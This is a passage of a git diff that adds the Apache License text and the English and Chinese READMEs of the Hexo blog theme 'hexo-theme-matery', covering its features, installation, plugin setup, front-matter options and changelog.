individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/themes/hexo-theme-matery/README.md b/themes/hexo-theme-matery/README.md new file mode 100644 index 0000000..3cae9c6 --- /dev/null +++ b/themes/hexo-theme-matery/README.md @@ -0,0 +1,473 @@ +# hexo-theme-matery + +[![HitCount](http://hits.dwyl.io/blinkfox/hexo-theme-matery.svg)](http://hits.dwyl.io/blinkfox/hexo-theme-matery) [![Gitter](https://img.shields.io/gitter/room/blinkfox/hexo-theme-matery.svg)](https://gitter.im/hexo-theme-matery/Lobby?utm_source=badge) [![GitHub issues](https://img.shields.io/github/issues/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/issues) [![GitHub license](https://img.shields.io/github/license/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/blob/master/LICENSE) [![Download](https://img.shields.io/badge/downloads-master-green.svg)](https://codeload.github.com/blinkfox/hexo-theme-matery/zip/master) [![Hexo Version](https://img.shields.io/badge/hexo-%3E%3D%203.0-blue.svg)](http://hexo.io) [![GitHub forks](https://img.shields.io/github/forks/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/network) [![GitHub stars](https://img.shields.io/github/stars/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/stargazers) + +[中文说明](README_CN.md) | [DEMO](https://blinkfox.github.io/) + +> This is a Hexo blog theme with 'Material Design' and responsive design. + +## Features + +- Simple and beautiful, and post is Beautiful and readable. +- [Material Design](https://material.io/). +- Responsive design,which can be displayed well on desktop, tablet, mobile phone, etc. +- Home page carousel posts and changing 'banner' picture dynamically everday. +- Blog posts list with waterflow(There will be 24 images if the articl dosn't have featured pictures). +- Archive page with timeline. +- Tags page of the **word cloud** and categories page of the **radar chart** +- Rich 'About' page (including about me, posts charts, my projects, my skills, gallery etc.) +- Friendly link page for customizable data +- Support post topping and rewards +- Support `MathJax` +- TOC +- Can be set append the copyright information when copying the content of the post +- Can be set to do password verification when reading a post +- Comment module of [Gitalk](https://gitalk.github.io/), [Gitment](https://imsun.github.io/gitment/), [Valine](https://valine.js.org/) and [Disqus](https://disqus.com/).(Gitalk is recommended) +- Integrated [Busuanzi Statistics](http://busuanzi.ibruce.info/), `Google Analytics` and post word count statistics. +- Support music playback and video playback on the homepage + +## Download + +You should have a [Hexo](https://hexo.io/zh-cn/) blog when you see it here.If not,try to use the hexo and [Markdown](https://www.appinn.com/markdown/) to write your blog and post. +Click [here](https://codeload.github.com/blinkfox/hexo-theme-matery/zip/master) to download master branch of the last stable version of the code.After decompressing,copy the `hexo-theme-matery` folder +to your `themes` folder of your Hexo.Of course,you can uer `Git clone` to download in your `themes` folder. + +```bash +git clone https://github.com/blinkfox/hexo-theme-matery.git +``` + +## Configuration + +### Modify theme + +Modify the value of `theme` in `_config.yml` of Hexo's root folder: `theme: hexo-theme-matery`. + +#### Suggestions for other changes to the `_config.yml`: + +- Please modify the value of `url` of `_config.yml` to your website's main `URL` (eg `http://xxx.github.io`). +- Recommended modify the value of the two 'per_page` to be a multiple of `6`, such as: `12`, `18`, etc. so that the posts list can be displayed well under each screen. +- If you are a Chinese user, it is recommended to change the value of `language` to `zh-CN`. + +### new categories page + +`categories` page is to show all of categories. If the `source` directory of your blog doesn't have `categories/index.md` file, you need to new one like this: + +```bash +hexo new page "categories" +``` + +to edit your new page files`/source/categories/index.md`, you need somethings as follows: + +```yaml +--- +title: categories +date: 2018-09-30 17:25:30 +type: "categories" +layout: "categories" +--- +``` + +### new tags page + +`tags` page is to show all of tags. If the `source` directory of your blog doesn't have `tags/index.md` file,you need to new one like this: + +```bash +hexo new page "tags" +``` + +to edit your new page files`/source/tags/index.md`, you need somethings as follows: + +```yaml +--- +title: tags +date: 2018-09-10 18:23:38 +type: "tags" +layout: "tags" +--- +``` + +### new about page + +`about` page is to show my blog and myself information. If the `source` directory of your blog doesn't have `about/index.md` file, you need to new one like this: + +```bash +hexo new page "about" +``` + +to edit your new page files`/source/about/index.md`, you need somethings as follows: + +```yaml +--- +title: about +date: 2018-09-30 17:25:30 +type: "about" +layout: "about" +--- +``` + +### new friends link page (Optional) + +The `friends` page is a page for displaying **Friendly Links** information. If you don't have a `friends/index.md` file in your blog's `source` directory, then you need to create a new one. The command is as follows: + +```bash +hexo new page "friends" +``` + +Edit the file `/source/friends/index.md` you just created, at least you need the following: + +```yaml +--- +title: friends +date: 2018-12-12 21:25:30 +type: "friends" +layout: "friends" +--- +``` + +Also, create a new `_data` directory in your blog's `source` directory and a new `friends.json` file in the `_data` directory. The contents of the file are as follows: + +```json +[{ + "avatar": "http://image.luokangyuan.com/1_qq_27922023.jpg", + "name": "MaJang", + "introduction": "I am not a master, just looking for the master's footsteps.", + "url": "http://luokangyuan.com/", + "title": "Read More" +}, { + "avatar": "http://image.luokangyuan.com/4027734.jpeg", + "name": "Blinkfox", + "introduction": "Hello, I'm blinkfox, I like programming.", + "url": "https://blinkfox.github.io/", + "title": "Visit Blog" +}, { + "avatar": "http://image.luokangyuan.com/avatar.jpg", + "name": "ja_rome", + "introduction": "Ordinary steps can also go out of the great journey.", + "url": "ttps://me.csdn.net/jlh912008548", + "title": "Read More" +}] +``` + +### Code highlight + +Hexo theme uses Hexo's plugin[hexo-prism-plugin](https://github.com/ele828/hexo-prism-plugin) to show the code highlight instead of its own theme.The Installation commands are as follows: + +```bash +npm i -S hexo-prism-plugin +``` + +Then,modify the value of `highlight.enable` to `false` in `_config.yml` file of Hexo root folder,and add the configuration of `prism` plugin as follows: + +```yaml +highlight: + enable: false + +prism_plugin: + mode: 'preprocess' # realtime/preprocess + theme: 'tomorrow' + line_number: false # default false + custom_css: +``` + +### Search + +The theme uses the Hexo plugin[hexo-generator-search](https://github.com/wzpan/hexo-generator-search) to search the content,and the Installation commands are as follows: + +```bash +npm install hexo-generator-search --save +``` + +Add configuration of `_config.yml` file in Hexo root folder as follows: + +```yaml +search: + path: search.xml + field: post +``` + +### Translate Chinese Link to Pinyin (Optional) + +Defualt permalinks of Hexo will include Chinese if your atrticle's title is Chinese.But it's adverse to `SEO`,and `gitment` comments don't suport Chinese Link as well.We can use the [hexo-permalink-pinyin](https://github.com/viko16/hexo-permalink-pinyin) of Hexo plugin to generate permalinks of Chinese Pinyin when generating posts. + +Installation commands are as follows: + +```bash +npm i hexo-permalink-pinyin --save +``` + +Add such configurations in `_config.yml` file of Hexo: + +```yaml +permalink_pinyin: + enable: true + separator: '-' # default: '-' +``` + +> **Note*:[hexo-abbrlink](https://github.com/rozbo/hexo-abbrlink) can genarate non-Chinese link in addtion to this plugin. + +### Post word count statistics plugin(Optional) + +If you want to display the post word count and reading time information in the post detail page, you can install the [hexo-wordcount](https://github.com/willin/hexo-wordcount) plugin. + +Installation commands are as follows: + +```bash +npm i --save hexo-wordcount +``` + +Then just activate the following configuration items in the theme `_config.yml` file: + +```yaml +wordCount: + enable: false # Set this value to true. + postWordCount: true + min2read: true + totalCount: true +``` + +### Add RSS feed support (Optional) + +The theme uses the Hexo plugin[hexo-generator-feed](https://github.com/hexojs/hexo-generator-feed) to support `RSS` feed , and the Installation commands are as follows: + +```bash +npm install hexo-generator-feed --save +``` + +Add configuration of `_config.yml` file in Hexo root folder as follows: + +```yaml +feed: + type: atom + path: atom.xml + limit: 20 + hub: + content: + content_limit: 140 + content_limit_delim: ' ' + order_by: -date +``` + +Execute `hexo clean && hexo g` to regenerate the blog file, and then you can see the `atom.xml` file in the `public` folder, indicating that you have successfully installed. + +### Modify website footer + +Website footer may need to be customized, and it is not convenient to make configuration information, So need to modify and process it by yourself. The changes are in the `/layout/_partial/footer.ejs` file, including the site, the theme used, the amount of traffic, and so on. + +### Modify social links + +In the theme `_config.yml` file, the configuration of `QQ`, `GitHub` and mailbox is supported by default. In the `/layout/_partial/social-link.ejs` file of the theme, you can add or modify the social link address as you need. To add a link, please refer to the following code: + +```html + + + +``` + +You can search social icon such as `fa-github` in [Font Awesome](https://fontawesome.com/icons).There are common social icons you can reference: + +- Facebook: `fa-facebook` +- Twitter: `fa-twitter` +- Google-plus: `fa-google-plus` +- Linkedin: `fa-linkedin` +- Tumblr: `fa-tumblr` +- Medium: `fa-medium` +- Slack: `fa-slack` +- Sina Weibo: `fa-weibo` +- Wechat: `fa-wechat` +- QQ: `fa-qq` + +> **Note**: The version of `Font Awesome` is `4.7.0`. + +### Configure music player (optional) + +To support music playing, you must activate the file of music playing configuration and music data. + +First, create a new `musics.json` file in the `_data` directory (new if you don't have one) of your blog's `source` directory. The contents of the file are as follows: + +```json +[{ + "name": "五月雨变奏电音", + "artist": "AnimeVibe", + "url": "http://xxx.com/music1.mp3", + "cover": "http://xxx.com/music-cover1.png" +}, { + "name": "Take me hand", + "artist": "DAISHI DANCE,Cecile Corbel", + "url": "/medias/music/music2.mp3", + "cover": "/medias/music/cover2.png" +}, { + "name": "Shape of You", + "artist": "J.Fla", + "url": "http://xxx.com/music3.mp3", + "cover": "http://xxx.com/music-cover3.png" +}] +``` + +> **Note**: The properties in the above JSON: `name`, `artist`, `url`, `cover` indicate the name of the music, the author, the music file address, and the music cover, respectively. + +Then, activate the configuration in the theme's `_config.yml` configuration file: + +```yaml +# Whether to display the musics. +music: + enable: true + showTitle: false + title: Listen to music + fixed: false # enable fixed mode + autoplay: false # audio autoplay + theme: '#42b983' + loop: 'all' # player loop play, values: 'all', 'one', 'none' + order: 'list' # player play order, values: 'list', 'random' + preload: 'auto' # values: 'none', 'metadata', 'auto' + volume: 0.7 # default volume, notice that player will remember user setting, default volume will not work after user set volume themselves + listFolded: false # indicate whether list should folded at first + listMaxHeight: # list max height +``` + +## Post Front-matter + +### Detailed Front-matter options + +Everything in the Front-matter option is **not required**. But I still recommend at least filling in the values of `title` and `date`. + +| Options | Defaults | Description | +| ---------- | --------------------------- | ------------------------------------------------------------ | +| title | Markdown's file title | Post title, it is highly recommended to fill in this option | +| date | Date and time when the file created | Publish time, it is highly recommended to fill in this option, and it is best to ensure that it is globally unique | +| author | `author` in root `_config.yml` | Post author | +| img | a value in `featureImages` | Post feature image,For exampl: `http://xxx.com/xxx.jpg` | +| top | `true` | Recommended post (whether the post is topped), if the `top` value is `true`, it will be recommended as a homepage post. | +| cover | `false` | The `v1.0.2` version is added to indicate whether the post needs to be added to the homepage carousel cover. | +| coverImg | null | The new version of `v1.0.2` indicates that the post needs to display the image path on the cover of the homepage. If not, the default image of the post is used by default. | +| password | null | The post read the password. If you want to set the reading verification password for the article, you can set the value of `password`, which must be encrypted with `SHA256` to prevent others from seeing it. The premise is that the `verifyPassword` option is activated in the theme's `config.yml` | +| toc | `true` | Whether TOC is turned on or not, you can turn off the TOC function for an article. The premise is that the `toc` option is activated in the theme's `config.yml` | +| mathjax | `false` | Whether to enable math formula support, whether this article starts `mathjax`, and you need to open it in the theme `_config.yml` file. | +| summary | null | Post summary, custom post summary content, if the attribute has a value, the post card summary will display the text, otherwise the program will automatically intercept part of the article as a summary | +| categories | null | Article classification, the classification of this topic represents a macroscopically large classification, only one article is recommended for one classification. | +| tags | null | Post label, a post can have multiple labels | + +> **Note**: +> 1. post's featured piature will take remainder if not writing the `img` property,and chose the featured picture of theme to let all of post's picture **have their own characteristics**. +> 2. The value of `date` should try to ensure that each article is unique, because `Gitalk` and `Gitment` recognize `id` in this topic are uniquely identified by the value of `date`. +> 3. If you want to set the ability to read the verification password for the article, you should not only set the value of the password with SHA256 encryption in Front-matter, but also activate the configuration in the theme `_config.yml`. + +The following are examples of the post's `Front-matter`. + +### The simplest example + +```yaml +--- +title: typora-vue-theme Theme introduction +date: 2018-09-07 09:25:00 +--- +``` + +### The most comprehensive example + +```yaml +--- +title: typora-vue-theme Theme introduction +date: 2018-09-07 09:25:00 +author: Qi Zhao +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +password: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 +toc: false +mathjax: false +summary: This is the content of your custom post summary. If there is a value for this attribute, the post card summary will display the text, otherwise the program will automatically intercept part of the post content as a summary. +categories: Markdown +tags: + - Typora + - Markdown +--- +``` + +## Screenshot + +### Home + +![首页](http://static.blinkfox.com/matery-20181202-1.png) + +![首页推荐文章](http://static.blinkfox.com/matery-20181202-2.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-3.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-7.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-8.png) + +## Custom modification + +You can modify some custom modification in `_config.yml` as follows: + +- Menu +- My dream +- Home music player and video player configuration +- Whether to display the title of the recommended posts +- `favicon` and `Logo` +- profiles +- TOC +- post rewards +- Append copyright information when copying article content +- MathJax +- Post word count, reading times +- the 'love' effect of clicking on the page +- My Projects +- My Skills +- My Gallery +- Gitalk, Gitment, Valine and Disqus +- [Busuanzi Statistics](http://busuanzi.ibruce.info/) And Google Analytics +- The map of default featured pictures. The theme will take remainde according to `hashcode` of post title if the post dose not set featured piactures. + +**I think everyone should have their own style and feature of blog**。if you are not satisfiled with functions and theme color,you can modify by yourself,and more free functions and deatil need to be modified by modify source code when it is hard to be finished in `_config.yml`. + +### modeing theme color + +Search `.bg-color` to modify background color in `/source/css/matery.css` in theme file: + +```css +/* The overall background color, including navigation, mobile navigation, footer, tab, etc.. */ +.bg-color { + background-image: linear-gradient(to right, #4cbf30 0%, #0f9d58 100%); +} + +@-webkit-keyframes rainbow { + /* Dynamically switch background colors. */ +} + +@keyframes rainbow { + /* Dynamically switch background colors. */ +} +``` + +### Modify banner picture and post's featured pictures + +You can change `banner` pictures in `/source/medias/banner` as you like .Theme code can switch dynamically every day and just need 7 pictures.If you master `JavaScript`,you can change it to your favorite swithing logic,such as Random switching.The code of switching `banner`is in `` of `/layout/_partial/bg-cover-content.ejs`file. + +```javascript +$('.bg-cover').css('background-image', 'url(/medias/banner/' + new Date().getDay() + '.jpg)'); +``` + +There are 24 featured pictures in `/source/medias/featureimages`,you can add or delete,and modify it in `_config.yml` at the sametime. + +## Changelog + +- v1.0.3 + - Added `TOC` expansion, shrink button and related configuration, this button is displayed by default; +- v1.0.2 + - Upgraded the [Materialize](https://materializecss.com/) framework version to `1.0.0`, refactoring and modifying some files or problems during the upgrade process; + - Added a full-screen carousel effect on the front cover of the home page to set more important posts to the home page carousel; + - Fix the first button on the front page is Chinese; + - Fixed an issue where clicking search input on the iPhone to get focus; + - Fixed an issue where the page was enlarged after the input box on the iPhone got focus; + - Fix some posts or UI display issues; +- v1.0.1 + - Adjust the file request path of `css` and `js` in the `_config.yml` of the theme, so that you can quickly configure their own CDN; + - Whether the new code is configurable or not, the default is a line break; + - The `TOC` function is activated by default, and the `Front-matter` configuration option for `TOC` is turned off for a post; + - Fixed an issue where the highlighted directory option was inaccurate when scrolling through the post; + - Remove the search box under `IOS` to automatically get the focus attribute, preventing the view from moving up after automatically getting the focus; +- v1.0.0 + - Added all the basic features; diff --git a/themes/hexo-theme-matery/README_CN.md b/themes/hexo-theme-matery/README_CN.md new file mode 100644 index 0000000..92f1575 --- /dev/null +++ b/themes/hexo-theme-matery/README_CN.md @@ -0,0 +1,477 @@ +# hexo-theme-matery + +[![HitCount](http://hits.dwyl.io/blinkfox/hexo-theme-matery.svg)](http://hits.dwyl.io/blinkfox/hexo-theme-matery) [![Gitter](https://img.shields.io/gitter/room/blinkfox/hexo-theme-matery.svg)](https://gitter.im/hexo-theme-matery/Lobby?utm_source=badge) [![GitHub issues](https://img.shields.io/github/issues/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/issues) [![GitHub license](https://img.shields.io/github/license/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/blob/master/LICENSE) [![Download](https://img.shields.io/badge/downloads-master-green.svg)](https://codeload.github.com/blinkfox/hexo-theme-matery/zip/master) [![Hexo Version](https://img.shields.io/badge/hexo-%3E%3D%203.0-blue.svg)](http://hexo.io) [![GitHub forks](https://img.shields.io/github/forks/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/network) [![GitHub stars](https://img.shields.io/github/stars/blinkfox/hexo-theme-matery.svg)](https://github.com/blinkfox/hexo-theme-matery/stargazers) + +[English Document](README.md) | [演示示例](https://blinkfox.github.io/) | QQ 交流群: `926552981` + +> 这是一个采用 `Material Design` 和响应式设计的 Hexo 博客主题。 + +## 特性 + +- 简单漂亮,文章内容美观易读 +- [Material Design](https://material.io/) 设计 +- 响应式设计,博客在桌面端、平板、手机等设备上均能很好的展现 +- 首页轮播文章及每天动态切换 `Banner` 图片 +- 瀑布流式的博客文章列表(文章无特色图片时会有 `24` 张漂亮的图片代替) +- 时间轴式的归档页 +- **词云**的标签页和**雷达图**的分类页 +- 丰富的关于我页面(包括关于我、文章统计图、我的项目、我的技能、相册等) +- 可自定义的数据的友情链接页面 +- 支持文章置顶和文章打赏 +- 支持 `MathJax` +- `TOC` 目录 +- 可设置复制文章内容时追加版权信息 +- 可设置阅读文章时做密码验证 +- [Gitalk](https://gitalk.github.io/)、[Gitment](https://imsun.github.io/gitment/)、[Valine](https://valine.js.org/) 和 [Disqus](https://disqus.com/) 评论模块(推荐使用 `Gitalk`) +- 集成了[不蒜子统计](http://busuanzi.ibruce.info/)、谷歌分析(`Google Analytics`)和文章字数统计等功能 +- 支持在首页的音乐播放和视频播放功能 + +## 下载 + +当你看到这里的时候,应该已经有一个自己的 [Hexo](https://hexo.io/zh-cn/) 博客了。如果还没有的话,不妨使用 Hexo 和 [Markdown](https://www.appinn.com/markdown/) 来写博客和文章。 + +点击 [这里](https://codeload.github.com/blinkfox/hexo-theme-matery/zip/master) 下载 `master` 分支的最新稳定版的代码,解压缩后,将 `hexo-theme-matery` 的文件夹复制到你 Hexo 的 `themes` 文件夹中即可。 + +当然你也可以在你的 `themes` 文件夹下使用 `Git clone` 命令来下载: + +```bash +git clone https://github.com/blinkfox/hexo-theme-matery.git +``` + +## 配置 + +### 切换主题 + +修改 Hexo 根目录下的 `_config.yml` 的 `theme` 的值:`theme: hexo-theme-matery` + +#### `_config.yml` 文件的其它修改建议: + +- 请修改 `_config.yml` 的 `url` 的值为你的网站主 `URL`(如:`http://xxx.github.io`)。 +- 建议修改两个 `per_page` 的分页条数值为 `6` 的倍数,如:`12`、`18` 等,这样文章列表在各个屏幕下都能较好的显示。 +- 如果你是中文用户,则建议修改 `language` 的值为 `zh-CN`。 + +### 新建分类 categories 页 + +`categories` 页是用来展示所有分类的页面,如果在你的博客 `source` 目录下还没有 `categories/index.md` 文件,那么你就需要新建一个,命令如下: + +```bash +hexo new page "categories" +``` + +编辑你刚刚新建的页面文件 `/source/categories/index.md`,至少需要以下内容: + +```yaml +--- +title: categories +date: 2018-09-30 17:25:30 +type: "categories" +layout: "categories" +--- +``` + +### 新建标签 tags 页 + +`tags` 页是用来展示所有标签的页面,如果在你的博客 `source` 目录下还没有 `tags/index.md` 文件,那么你就需要新建一个,命令如下: + +```bash +hexo new page "tags" +``` + +编辑你刚刚新建的页面文件 `/source/tags/index.md`,至少需要以下内容: + +```yaml +--- +title: tags +date: 2018-09-30 18:23:38 +type: "tags" +layout: "tags" +--- +``` + +### 新建关于我 about 页 + +`about` 页是用来展示**关于我和我的博客**信息的页面,如果在你的博客 `source` 目录下还没有 `about/index.md` 文件,那么你就需要新建一个,命令如下: + +```bash +hexo new page "about" +``` + +编辑你刚刚新建的页面文件 `/source/about/index.md`,至少需要以下内容: + +```yaml +--- +title: about +date: 2018-09-30 17:25:30 +type: "about" +layout: "about" +--- +``` + +### 新建友情连接 friends 页(可选的) + +`friends` 页是用来展示**友情连接**信息的页面,如果在你的博客 `source` 目录下还没有 `friends/index.md` 文件,那么你就需要新建一个,命令如下: + +```bash +hexo new page "friends" +``` + +编辑你刚刚新建的页面文件 `/source/friends/index.md`,至少需要以下内容: + +```yaml +--- +title: friends +date: 2018-12-12 21:25:30 +type: "friends" +layout: "friends" +--- +``` + +同时,在你的博客 `source` 目录下新建 `_data` 目录,在 `_data` 目录中新建 `friends.json` 文件,文件内容如下所示: + +```json +[{ + "avatar": "http://image.luokangyuan.com/1_qq_27922023.jpg", + "name": "码酱", + "introduction": "我不是大佬,只是在追寻大佬的脚步", + "url": "http://luokangyuan.com/", + "title": "前去学习" +}, { + "avatar": "http://image.luokangyuan.com/4027734.jpeg", + "name": "闪烁之狐", + "introduction": "编程界大佬,技术牛,人还特别好,不懂的都可以请教大佬", + "url": "https://blinkfox.github.io/", + "title": "前去学习" +}, { + "avatar": "http://image.luokangyuan.com/avatar.jpg", + "name": "ja_rome", + "introduction": "平凡的脚步也可以走出伟大的行程", + "url": "ttps://me.csdn.net/jlh912008548", + "title": "前去学习" +}] +``` + +### 代码高亮 + +由于 Hexo 自带的代码高亮主题显示不好看,所以主题中使用到了 [hexo-prism-plugin](https://github.com/ele828/hexo-prism-plugin) 的 Hexo 插件来做代码高亮,安装命令如下: + +```bash +npm i -S hexo-prism-plugin +``` + +然后,修改 Hexo 根目录下 `_config.yml` 文件中 `highlight.enable` 的值为 `false`,并新增 `prism` 插件相关的配置,主要配置如下: + +```yaml +highlight: + enable: false + +prism_plugin: + mode: 'preprocess' # realtime/preprocess + theme: 'tomorrow' + line_number: false # default false + custom_css: +``` + +### 搜索 + +本主题中还使用到了 [hexo-generator-search](https://github.com/wzpan/hexo-generator-search) 的 Hexo 插件来做内容搜索,安装命令如下: + +```bash +npm install hexo-generator-search --save +``` + +在 Hexo 根目录下的 `_config.yml` 文件中,新增以下的配置项: + +```yaml +search: + path: search.xml + field: post +``` + +### 中文链接转拼音(可选的) + +如果你的文章名称是中文的,那么 Hexo 默认生成的永久链接也会有中文,这样不利于 `SEO`,且 `gitment` 评论对中文链接也不支持。我们可以用 [hexo-permalink-pinyin](https://github.com/viko16/hexo-permalink-pinyin) Hexo 插件使在生成文章时生成中文拼音的永久链接。 + +安装命令如下: + +```bash +npm i hexo-permalink-pinyin --save +``` + +在 Hexo 根目录下的 `_config.yml` 文件中,新增以下的配置项: + +```yaml +permalink_pinyin: + enable: true + separator: '-' # default: '-' +``` + +> **注**:除了此插件外,[hexo-abbrlink](https://github.com/rozbo/hexo-abbrlink) 插件也可以生成非中文的链接。 + +### 文章字数统计插件(可选的) + +如果你想要在文章中显示文章字数、阅读时长信息,可以安装 [hexo-wordcount](https://github.com/willin/hexo-wordcount)插件。 + +安装命令如下: + +```bash +npm i --save hexo-wordcount +``` + +然后只需在本主题下的 `_config.yml` 文件中,激活以下配置项即可: + +```yaml +wordCount: + enable: false # 将这个值设置为 true 即可. + postWordCount: true + min2read: true + totalCount: true +``` + +### 添加 RSS 订阅支持(可选的) + +本主题中还使用到了 [hexo-generator-feed](https://github.com/hexojs/hexo-generator-feed) 的 Hexo 插件来做 `RSS`,安装命令如下: + +```bash +npm install hexo-generator-feed --save +``` + +在 Hexo 根目录下的 `_config.yml` 文件中,新增以下的配置项: + +```yaml +feed: + type: atom + path: atom.xml + limit: 20 + hub: + content: + content_limit: 140 + content_limit_delim: ' ' + order_by: -date +``` + +执行 `hexo clean && hexo g` 重新生成博客文件,然后在 `public` 文件夹中即可看到 `atom.xml` 文件,说明你已经安装成功了。 + +### 修改页脚 + +页脚信息可能需要做定制化修改,而且它不便于做成配置信息,所以可能需要你自己去再修改和加工。修改的地方在主题文件的 `/layout/_partial/footer.ejs` 文件中,包括站点、使用的主题、访问量等。 + +### 修改社交链接 + +在主题的 `_config.yml` 文件中,默认支持 `QQ`、`GitHub` 和邮箱的配置,你可以在主题文件的 `/layout/_partial/social-link.ejs` 文件中,新增、修改你需要的社交链接地址,增加链接可参考如下代码: + +```html + + + +``` + 